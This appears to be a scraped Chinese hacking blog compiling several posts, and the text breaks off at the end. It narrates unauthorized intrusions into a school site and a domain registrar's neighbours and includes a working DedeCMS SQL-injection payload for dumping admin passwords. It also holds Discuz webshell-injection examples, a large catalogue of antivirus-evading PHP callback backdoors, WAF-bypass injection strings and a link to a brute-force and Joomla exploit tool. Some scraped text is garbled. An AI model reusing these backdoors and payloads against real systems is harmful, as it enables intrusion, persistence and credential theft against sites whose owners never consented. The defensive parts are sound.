入侵之前的学校的网站的过程 渗透测试
作者:宝顺
前上学的学校。早就毕业了的,上学时候就一直想拿下来玩玩,不过总是忘了。今天无聊就拿下来了。。
目标站:xxxxxx.com
首先找后台地址。随便加了个admin。就是了,等等。。好像不对,为啥显示了部分内容才弹出的未登录的提示框。
相信大家都明白,写程序的时候验证是否登录的代码放到了现在显示的这些代码的后面,所里浏览器就先执行前面的代码(这个大家都懂,浏览器就按照先后顺序执行的代码)
而且还是js弹窗,好办了,禁止js代码就行了。毕竟是客户端的东西嘛!
火狐的禁止方法(其他浏览器的自行百度):
再地址栏输入about:config,点击回车键
在搜索地址栏中输入javascript.enabled
鼠标右键第一个,弹出菜单。再点击切换
当一行的中的,值由trun变成false。时候说明已经关闭了。
好了。js已经禁用了。
我们刷新页面试试。
已经执行js代码了。
接下来就是找可以登录后台的漏洞了。因为他执行了一个个人管理的代码。
我们右键审查元素。
看到了个密码修改的地址,点进去看看。
可以添加用户了。
我们添加个用户,然后后台登录。
我就不截图了
登录成功。
ok
拿shell更简单了。随便找了个地方任意文件上传。至于服务器就不提了,毕竟不会。。
发这个文章主要是告诉各位朋友,拿站方法千千万,一定要灵活的去入侵,不要那么死板。
出处:宝顺 'S Blog - 入侵之前的学校的网站的过程
红树林渗透测试小工具v1.1.1 安全工具
免责申明:
请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果本作者不承担任何责任!
----------------------------------------------------------------------------
/*
渗透测试中免不了一些小工具,网上也有许多,但有些不是失效就是操作繁琐。
然后自己琢磨了几个小工具集成一起,界面有点随便,后期会慢慢的进行更改、增加一些功能。T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security0 C7 L% M9 Y/ o& L9 M" I
T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security2 ?( ?; J3 P: j
会持续更新本程序,有任何问题、BUG、建议烦请联系:[email protected]
*/T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security+ ]6 K- u) ~8 C7 Q3 W: P5 C
2015-09-18
* 搜索引擎抓取:调用本机IE8浏览器通过搜索引擎抓取连接,暂时仅支持IE8。
* C段 旁注查询:同服域名查询/C段查询/自定义IP段查询。 - 低调求发展$ Y) Y* u/ Y2 G( Q$ o- D
* 子域名爆破:渗透测试中能快速定位测试目标的子域信息,可进行多级域名爆破,功能简单,以后慢慢增加DNS、Whois、子域查询功能。 - 专注网络安全- \% N& S& w8 ^# b0 t
* Http Form、Http Basic万能暴力破解:主要针对无防火墙,无验证码等防护。进行post提交方式猜解用户密码。T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security0 n. A9 [. ?5 g; n7 q; d" T
2015-11-04
* 搜索引擎抓取:更新了支持环境,支持IE8、IE9、IE10、IE11。搜索引擎批量检测最新Joomla3.2-3.4.4漏洞。0 [- v! w" q' S" e* K
* Joomla EXP利用工具:结合搜索引擎对Joomla进行注射检测。
2015-11-06
* 增加导入功能,对Joomla进行批量检测。
链接:http://pan.baidu.com/s/1ntAeHXR 密码:cm58
高级文件系统入侵检测工具-AIDE 安全工具
AIDE(Advanced Intrusion Detection Environment)是一款针对文件和目录进行完整性对比检查的程序,它被开发成Tripwire的一个替代品。
AIDE如何工作
这款工具年纪也不小了,相对来同类工具Tripwire说,它的操作也更加简单。它需要对系统做快照,记录下HASH值,修改时间,以及管理员对文件做的预处理。这个快照可以让管理员建立一个数据库,然后存储到外部设备进行保管。
当管理员想要对系统进行一个完整性检测时,管理员会将之前构建的数据库放置一个当前系统可访问的区域,然后用AIDE将当前系统的状态和数据库进行对比,最后将检测到的当前系统的变更情况报告给管理员。另外,AIDE可以配置为定时运行,利用cron等日程调度技术,每日对系统进行检测报告。
这个系统主要用于运维安全检测,AIDE会向管理员报告系统里所有的恶意更迭情况。
AIDE的特性
支持消息摘要算法:md5, sha1, rmd160, tiger, crc32, sha256, sha512, whirlpool
支持文件属性:文件类型,文件权限,索引节点,UID,GID,链接名称,文件大小,块大小,链接数量,Mtime,Ctime,Atime
支持Posix ACL,SELinux,XAttrs,扩展文件系统属性
纯文本的配置文件,精简型的数据库
强大的正则表达式,轻松筛选要监视的文件和目录
支持Gzip数据库压缩
独立二进制静态编译的客户端/服务器监控配置
许多Linux发行版里其实也带AIDE的源,你可以输入aptitude install aide直接安装它。
附上Aide 0.15.1的源码下载。
原文地址:http://www.darknet.org.uk/2015/09/aide-advanced-intrusion-detection-environment/
站长切记:请勿将重要配置文件备份为.bak后缀 网络安全
很多站长有这样一个习惯,更改网站配置文件之前将原始文件重命名来备份,例如将config.php重命名为config.php.bak,殊不知这样一个小小的细节就给黑客留下了可乘之机,站长们可以做如下实验:
1、将您网站根目录下任意.php文件重命名为.php.bak,例如将config.php重命名为config.php.bak
2、然后您在浏览器中输入http://你的网站域名/config.php.bak
3、看到没?PHP文件里面所有的信息都显示出来了有没有?或者是可以下载!但是你直接访问 http://你的网站域名/config.php (非入口文件)是看不到里面的代码的!
所以,黑客就利用了站长们这点不好的习惯,对网站的可能的配置文件进行扫描,如下图某网站安全软件拦截信息:
确实是这样的,不相信的可以自己测试。当然你还可以测试你想要下载的文件,比如说模板文件,js,等等,这里不多说,请自行摸索。
所以我们在可以修改备份文件名后缀,或者是使用防护软件进行防护。
原文地址:http://blog.ailab.cn/post/129
黑客大量入侵思科路由器 安全公司:无法抵御 业界新闻
美国互联网安全公司FireEye旗下安全部门Mandiant今日透露,他们发现一种新的针对路由器的攻击手段,允许黑客盗取海量数据,又不会被当前的网络安全防御系统检测到。思科作为全球最大的路由器厂商,首当其冲成为最大的攻击对象。据悉,这种攻击方法能替换思科路由器的操作系统,截至目前,Mandiant已在印度、墨西哥、菲律宾和乌克兰四国发现了14起攻击事件。
思科方面也在第一时间证实其操作系统遭到攻击,并向用户发出警告。同时他们与Mandiant合作,开放解决方案帮助用户检测设备是否收到攻击。
FireEye CEO戴夫·德沃特(Dave DeWalt)称该恶意程序为“SYNful”,从被入侵路由器的计算机日志判断,至少已经存在了一年时间。据悉,SYNful并不是利用路由器的任何软件漏洞,而是盗取有效的网络管理员凭证,对企业发动攻击或获取路由器的访问权。而一旦控制了路由器,就拥有了使用该路由器的企业或政府机构的数据。
德沃特称,目前已发现多个行业和政府及机构的思科路由器被入侵,其他厂商的路由器同样受到攻击。而FireEye则表示,目前的网络安全工具还无法抵御该攻击方式。
思科近段时间以来被安全问题所困扰,其安全设备频频爆出安全问题,而且都是可轻易被攻击者控制。这与思科安全设备存在漏洞有关,思科在很多安全设备和软件中插入默认密钥,即有默认配置的、经过授权的SSH密钥。攻击者一旦获取该SSH密钥,只要与任何一个思科安全设备进行连接,便可利用该漏洞,从而获取root用户访问系统的权限,并对设备进行任意的操作。
看来这次的系统攻击事件与该漏洞可能同样存在关联,而这种影响是不可想象的,因为这意味着思科所有的安全设备都可能受到攻击。思科尽快修补该漏洞才是重中之重。
路由,一个产品传统而概念不断翻新的产品,如果大家有留意的话。大凡大点的公司,都或多或少有出过路由,尤其在今天。究其原因其实非常简单,传统路由推崇的是有线连接,无线连接设备是非常有限的。而智能时代飞速来临的今天,除了传统电脑联网外,越来越多的智能设备需要以无线方式接入网络来提供服务。
arp劫持某域名注册商 渗透测试
前段时间朋友在做一个网站, 就在某域名商那注册了一个米, 但是三天两头的出问题
找客服客服态度还很差, 说是自己的网络问题, 尼玛dns都找不到能是网络问题么? 擦...
于是乎夜半时分就帮朋友教训教训这个坑爹的域名商~~~
先是探测了一些基本信息, web使用的IIS7.5, 服务器是windows 2008
整个网站是.net写的, 于是开始找常见的一些漏洞, 发现整个系统还是比较安全, 除了一个反射型的XSS以外
没有发现其他更有价值的东西, 参数似乎是全局就过滤了, 所以注射这条路基本上堵死了..
想了一会, 就是为了教训教训这个域名商, 所以只要达到教训的目的就行了, 所以并不是非得日下
把他域名搞了岂不更爽? 再不济给他来个arp劫持也不错, 呵呵
先查了下域名商的域名, 是在Godaddy注册的, whois隐藏了, 现在不都说什么大数据大数据嘛..
于是我就在一些公开的社工库里面查了下站长的qq, 发现都没有信息, 到这里就卡死了..
既然域名那里不能入手, 那就玩玩C段吧.. 说起来也好久没弄这些了.
先用御剑扫一发~ 发现C段的站还挺多的 - - 随便找了个windows2003服务器下手, 找到了一个dede
打开一看我就呆了, 这个站原来都被人搞过了, 主页挂上了某XX小组的黑页
既然别人能日下还改了主页说明这个站的站长似乎并没怎么打理网站, 顿觉有戏!
于是打开/data/admin/ver.txt看了下版本是20130911
这个版本看来还是比较老的了, 所以直接抄上前一段时间爆出来的织梦注入漏洞:
/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20`%23@__admin`%23");
成功爆出来了帐号和密码
密码倒是很简单, 一下就破出来了. 只不过后台路径被改过了, 于是直接上谷歌, site:xxx.com inurl:login.php
找到了后台就简单了, 一顿XXOO拿到了shell, 这个大家都会就不细说了, 打开dede的配置文件一看, 我擦竟然直接就是root...
于是上传了一个有UDF提权功能的大马, 但是每次导出dll后安装的时候都提示不行, 一想不会是被杀了吧..
这里想了半天, 突然想到把后缀改一下呢, 于是随便弄了一个后缀. 改成了xxx.7b, 一安装, 竟然成功了
为了安全起见没有直接添加用户, 传了一个某黑客用mimikatz改出来的webshell版读取密码
成功把密码读了出来
看了下注册表3389是打开了的, 于是直接上服务器开撸, 没想到直接给我弹了个什么中断连接
“猥琐”成功XSS某网站 渗透测试
因为需求,对一个网站进行检测
各种扫描无果
于是开始进行各种xss
注册会员开始
问答处~~~~~~~
不会饶,还请大牛赐教!!
不会饶,还请大牛赐教!!
最后各种翻,各种翻啊~~!!
然后就看到了
哈哈哈,很多获取IP的方式都能弄,包括ip38
那就是我们的大杀器
然后退出,再登录一遍
——————————————————
OK
目地达到
注:原文出自t00ls.只是觉得够猥琐!转载之-_-| 如果不允许就告诉我.
【转自TSRC】浅谈开源web程序后台的安全性 网络安全
前言
不知怎的最近甚是思念校园生活,思念食堂的炒饭。那时会去各种安全bbs上刷刷帖子,喜欢看别人写的一些关于安全技巧或经验的总结;那时BBS上很多文章
标题都是:成功渗透XXX,成功拿下XXX。这里便以一篇入侵菲律宾某大学的文章引出文章的主题,我们先简要看一下过程。大学网站使用了名为joomla 的开源web程序,(1)青年使用一个joomla已经公开的漏洞进入web后台(2)青年使用joomla后台上传限制不严的缺陷上传了一个 webshell(3)控制主机赠送我国国旗。
原来入侵一台主机如此容易,管理员果断给web程序打上安全补丁。管理员的工作是结束了,作为安全从业人员再一想是不是joomla后台这里可以上
传webshell是不是有问题呢,如果joomla后台不能上传webshell,是不是可以减少入侵的可能和损失。下面进入本文的主题:web后台程
序的安全性。
二、简介
国内很多站点都是基于开源论坛、cms搭建的,比如discuz、phpwind、dedecms等。这些程序都是国内开源web程序中的佼佼者, 也比较注重安全性。平时大家关注比较多的是sql注入、xss这些可以直接窃取用户数据的漏洞。网上因为弱口令被入侵的案例数不胜数,此外用户数据泄漏事 件时而发生,单纯靠密码防护的后台被突破,被社工的可能性越来越大。获取一个管理后台密码后,再结合后台程序的任意代码执行、文件包含或命令注入等漏洞得
到一个shell,窃取用户资料不是什么难事。此时后台程序的安全性成为一个短板。
Discuz是一款流行的论坛程序,笔者这里就以它的后台程序为例简单分析一下其安全性,下面直接看一些漏洞案例(Discuz最新版本已打补丁,请用户及时升级到最新版-Discuz! X3.1 R20140101)。
三、案例分析
Tips:下文提到的$settingnew是discuz后台存储表单数据的变量,后台用户可控。
案例一:用户输入数据过滤逻辑不当
漏洞文件:X3\source\admincp\admincp_setting.php
分析:
01 |
<code id="code0">// 1、alice修改$settingnew['extcredits']非数组 |
|
02 |
if(is_array($settingnew['extcredits'])) { |
03 |
foreach($settingnew['extcredits'] as $key => $value) { |
|
04 |
// 2、给$settingnew['initcredits'][1]传入phpinfo();,非数组绕过intval转换 |
05 |
$settingnew['initcredits'][$i] = intval($settingnew['initcredits'][$i]); |
|
06 |
... 省略 ... |
07 |
for($i = 1; $i <= 8; $i++) { |
|
08 |
// 3、 phpinfo();被赋值给$initformula |
09 |
$initformula = str_replace('extcredits'.$i, $settingnew['initcredits'][$i], $initformula); |
|
10 |
} |
11 |
// 4、phpinfo()带入eval执行 |
|
12 |
eval("\$_G['setting']['initcredits'] = round($initformula);");</code> |
案例二:二次注入
简单介绍一下二次注入,恶意用户alice在A处传入恶意数据并被存储到数据库,在A处不直接导致安全问题;B处引用到A处存储的数据,从而触发安全问题。
漏洞文件:X3\source\admincp\admincp_setting.php
分析:
1 |
// 1、alice上传一个图片木马假设为1.gif; alice设置$settingnew['seccodedata']['type']值为1.gif\0:xx(根据图片地址做适当目录跳转);该值未作任何过滤存入数据库 |
2 |
if($settingnew['seccodedata']['type'] == 0 || $settingnew['seccodedata']['type'] == 2) { |
3 |
$seccoderoot = 'static/image/seccode/font/en/'; |
|
4 |
} elseif($settingnew['seccodedata']['type'] == 1) { |
5 |
$seccoderoot = 'static/image/seccode/font/ch/'; |
|
6 |
}漏洞文件:source\module\misc\misc_seccode.php |
01 |
// 2、$_G['setting']['seccodedata']['type']值来自于数据库,即为1处传入的1.gif\0:xx |
|
02 |
if(!is_numeric($_G['setting']['seccodedata']['type'])) { |
03 |
$etype = explode(':', $_G['setting']['seccodedata']['type']); |
|
04 |
if(count($etype) > 1) { |
05 |
// 3、 \0截断得到$codefile为图片小马(也可使用././././多个路径符方法截断) |
|
06 |
$codefile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/seccode/seccode_'.$etype[1].'.php'; |
|
|
07 |
... 省略 ... |
|
08 |
if(file_exists($codefile)) { |
09 |
// 4、图片木马被include得到webshell |
|
10 |
@include_once $codefile; |
案例三:程序升级新增逻辑导致的漏洞
漏洞文件:X3\source\admincp\admincp_adv.php
01 |
// 1、alice上传一个图片木马假设为1.gif; alice传入type参数值为1.gif\0:xx(根据图片地址做适当目录跳转) |
|
02 |
$type = $_GET['type']; |
03 |
... ... |
|
04 |
if($type) { |
05 |
//2、得到$etype为1.gif\0 |
|
06 |
$etype = explode(':', $type); |
07 |
if(count($etype) > 1) { |
|
08 |
//3、$advfile值被\0截断,为图片木马路径1.gif |
09 |
$advfile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/adv/adv_'.$etype[1].'.php'; |
||
10 |
$advclass = 'adv_'.$etype[1]; |
||
|
11 |
} |
|
12 |
... 省略 ... |
13 |
//4、包含图片木马,得到webshell |
|
14 |
if(file_exists($advfile)) { |
15 |
require_once $advfile; |
对比下X2.5版本的逻辑,此处漏洞完全是因为新增代码导致的。
1 |
$type = $_GET['type']; |
|
2 |
$target = $_GET['target']; |
3 |
$typeadd = ''; |
|
4 |
if($type) { |
5 |
$advfile = libfile('adv/'.$type, 'class'); |
|
6 |
if(file_exists($advfile)) { |
7 |
require_once $advfile; |
案例四:漏洞修补不完善
漏洞文件:X3\api\uc.php
分析:
01 |
//1、config_ucenter.php内容部分截取如下:define('UC_API', 'http://localhost/bbs/uc_server'); |
02 |
$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php')); |
03 |
... ... |
|
04 |
//2、$UC_AP外部可控,alice传入$UC_API的值为xyz');eval($_POST[cmd];得到$configfile值为define('UC_API', 'xyz\');eval($_POST[cmd];'); xyz后面的引号被转义。 |
05 |
$configfile=preg_replace("/define\('UC_API',\s*'.*?'\);/i","define('UC_API','".addslashes($UC_API)."');", $configfile); |
||
06 |
//3、将define('UC_API', 'xyz\');eval($_POST[cmd];');写入配置文件 |
||
|
07 |
if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) { |
|
08 |
@fwrite($fp, trim($configfile)); |
09 |
@fclose($fp); |
|
10 |
} |
11 |
//4、 alice再次传入$UC_API的值为xyz,preg_replace使用的正则表达式是define\('UC_API',\s*'.*?'\); .*?'非贪婪匹配,匹配到第一个引号结束,之前的转义符被替换xyz\替换为xyz,从而得到$configfile值为 define('UC_API', 'xyz');eval($_POST[cmd];');写入配置文件得到webshell。 |
这个问题早在2010年外部已经公开,官方已及时发出补丁
详情请参考:http://www.oldjun.com/blog/index.php/archives/76/
四、总结
上面这些例子主要是笔者实践经验的一些总结,不一定全面,希望能给大家拓展一些思路;比如上述提到的二次注
入,$settingnew['seccodedata']['type']这个变量没过滤,$settingnew的其他数组也可能没过滤,也确实存在 多处类似的问题,大家可以自行去尝试一下。关于代码审计的方法主要有两个大方向:(1)危险函数向上追踪输入;(2)追踪用户输入是否进入危险函数;这里 的危险函数关于危险函数主要包括代码执行相关:eval、assert,文件包含:include、require等,命令执行:system、exec 等,写文件:fwrite、file_put_contents等;
代码审计的方法这里推荐两篇文章:
https://code.google.com/p/pasc2at/wiki/SimplifiedChinese
http://wenku.baidu.com/view/c85be95a3b3567ec102d8a12.html
五、反思
1、一切输入都是有害的;
后台程序的用户输入相比前台主要增加了后台表单的数据,此外有些后台支持上传文件(如dz1.5的自定义sql),上传文件的内容也属于输入;这些输入都属于用户范围。一定要做严格的控制和过滤。
2、安全意识;
其实很多漏洞的产生并不是技术问题导致的,而是我们缺乏安全意识,不重视安全而酿成的惨剧。尤其是第三个和第四个,完全不应该发生;需要对开发人员做安全宣导和基本的安全培训。
3、漏洞Review;
(1)开发人员收到漏洞后要对漏洞产生的原因做总结,并Review代码中是否有类似的问题。有些时候开发人员仅仅是修补了安全人员或白帽子提供的漏洞
点,另外一处代码有类似的问题没修补继续爆出漏洞,无穷无尽。这样做还会带来更大的隐患,黑客是非常乐意并擅长总结反思的,每一个补丁其实也是给黑客拓展 了思路,如果修补不完全后果很严重。
(2)开发人员修补完成后安全人员需要进行测试确认,上述的案例四就是鲜明的例子。有条件的情况下安全人员应该整理一些常见漏洞修复指引,这样也可以提高工作效率。
创造tips的秘籍——PHP回调后门(转载) 渗透测试
最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如$_GET'func'之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。
那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。
有很多朋友喜欢收藏一些tips,包括我也收藏了好多tips,有时候在渗透和漏洞挖掘过程中很有用处。
一句话的tips相信很多朋友也收集过好多,过狗一句话之类的。14年11月好像在微博上也火过一个一句话,当时也记印象笔记里了:
有同学收集tips,就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数(无特征)的一句话(后门)?
根据上面这个pdo的一句话,我就可以得到一个很具有普适性的结论: php中包含回调函数参数的函数,具有做后门的潜质。
我就自己给这类webshell起了个名字:回调后门。
0x01 回调后门的老祖宗
php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:
call_user_func('assert', $_REQUEST['pass']);
assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。
这个后门,狗和盾都可以查到(但是狗不会拦截):
可php的函数库是很丰富的,只要简单改下函数安全狗就不杀了:
call_userfuncarray('assert', array($_REQUEST['pass']));
call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。如图:
可见,虽然狗不杀了,D盾还是聪明地识别了出来。
看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。
0x02 数组操作造成的单参数回调后门
进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。 我最早想到个最“简单好用的”:
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):
这个后门,狗查不出来,但D盾还是有感应,报了个等级3(显然比之前的等级4要低了):
类似array_filter,array_map也有同样功效:
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
依旧被D盾查杀。
果然,简单的数组回调后门,还是很容易被发现与查杀的。
0x03 php5.4.8+中的assert
php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:
这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。
比如如下回调后门:
$e = $_REQUEST['e'];
$arr = array('estt', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
这个后门在php5.3时会报错,提示assert只能有一个参数:
php版本改作5.4后就可以执行了:
这个后门,狗和盾是都查不出来的:
同样的道理,这个也是功能类似:
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
<a href="http://yidianzixun.com/m/channel/keyword/uksort" ,="" style="border: none; text-decoration: none; outline: none; font-size: 16px; color: rgb(50, 97, 163); line-height: 27.2000007629395px; font-family: Oxygen, Arial, 'Hiragino Sans GB ', 'Microsoft YaHei', 微软雅黑, STHeiti, 'WenQuanYi Micro Hei', SimSun, sans-serif; text-align: justify; white-space: normal; background-color: rgb(246, 246, 246);">uksort($arr, $e);
再给出这两个函数,面向对象的方法:
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
再来两个类似的回调后门:
$e = $_REQUEST['e'];
$arr = array(1);
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。
我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)
0x04 三参数回调函数
有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。
array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:
php中,可以执行代码的函数:
1. 一个参数:assert
2. 两个参数:assert (php5.4.8+)
3. 三个参数:preg_replace /e模式
三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
如图,这个后门可以在5.3下使用:
但强大的D盾还是有警觉(虽然只是等级2):
不过呵呵,PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)D盾就查不出来了:
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
不截图了。
看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
另一个:
e<a href="http://yidianzixun.com/m/channel/keyword/echo" ,="">cho preg_filter('|.*|e', $_REQUEST['pass'], '');
这两个一句话都是不杀的:
好用的一句话,且用且珍惜呀。
0x05 无回显回调后门
回调后门里,有个特殊的例子:ob_start。
ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush;
但如果执行一个url请求,用神器cloudeye还是能够观测到结果的:
即使没输出,实际代码是执行了的。也算作回调后门的一种。
0x06 单参数后门终极奥义
preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。 这里给出几个好用不杀的回调后门
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
这个是php全版本支持的,且不报不杀稳定执行:
再来一个:
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);
再来两个:
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。
这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.
0x07 数据库操作与第三方库中的回调后门
回到最早微博上发出来的那个sqlite回调后门,其实sqlite可以构造的回调后门不止上述一个。
我们可以注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert。所以这个后门我这样构造:
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
执行之:
上面的sqlite方法是依靠PDO执行的,我们也可以直接调用sqlite3的方法构造回调后门:
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute;
前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函数,自己研究我不列出了。
这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的。其实如果目标环境中有特定扩展库的情况下,也可以来构造回调后门。 比如php_yaml:
$str = urlencode($_REQUEST['pass']);
$yaml =
greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
还有php_memcached:
$mem = new Memcache;
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);
自行研究吧。
0x08 其他参数型回调后门
上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?
举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。
preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。
所以我们需要去“构造”一个满足条件的回调函数。
怎么构造?使用create_function:
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);
“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。
这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。 类似的,这个也同样:
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);
再来一个利用CallbackFilterIterator方法的回调后门:
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {
echo $item;
}
这里也是借用了create_function来创建回调函数。但有些同学就问了,这里创建的回调函数只有一个参数呀?实际上这里如果传入assert,是会报错的,具体原因自己分析。
0x09 后记
这一篇文章,就像一枚核武器,爆出了太多无特征的一句话后门。我知道相关厂商在看了文章以后,会有一些小动作。不过我既然敢写出来,那么我就敢保证这些方法是多么难以防御。
实际上,回调后门是灵活且无穷无尽的后门,只要php还在发展,那么就有很多很多拥有回调函数的后门被创造。想要防御这样的后门,光光去指哪防哪肯定是不够的。
简单想一下,只有我们去控制住assert、preg_replace这类函数,才有可能防住这种漏洞。
如何绕过WAF?Mrxn总结如下一些技巧 渗透测试
WAF介绍
什么是WAF?
WAF--俗称“Dog” --WEB_Dog ----Web应用防火墙。
Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
基本/简单绕过方法:
1、注释符
http://www.site.com/index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3,4….
2、使用大小写
http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
3、结合前面两种方法
http://www.site.com/index.php?page_id=-15 /!uNIOn/ /!SelECt/ 1,2,3,4….
4、关键字替换
http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....
5、内部注释
http://www.site.com/index.php?page_id=-15 %55nION//%53ElecT 1,2,3,4…
U替换为%55,S替换为%53 在 union 和 select 之间添加注释//
高级绕过方法:
1、缓冲区溢出/使防火墙崩溃
大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃
http://www.site.com /index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/!uNIOn/+/!SeLECt/+1,2,3,4….
你可以使用如下方法测试WAF
?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4….
如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF
2、对字母进行编码
http://www.site.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4….
3、使用其他变量或者命令对注入语句进行替换
COMMAND | WHAT TO USE INSTEAD
@@version | version()
concat() | concat_ws()
group_concat() | concat_ws()
4、利用WAF本身的功能绕过
假如你发现WAF会把""替换为空,那么你就可以利用这一特性来进行绕过
????????http://www.site.com/index.php?page_id=-15+union+select+1,2,3,4....
其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)?
研究过国内外的waf。分享一些 奇淫绝技。
一些大家都了解的技巧如:/!/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。
Mysql
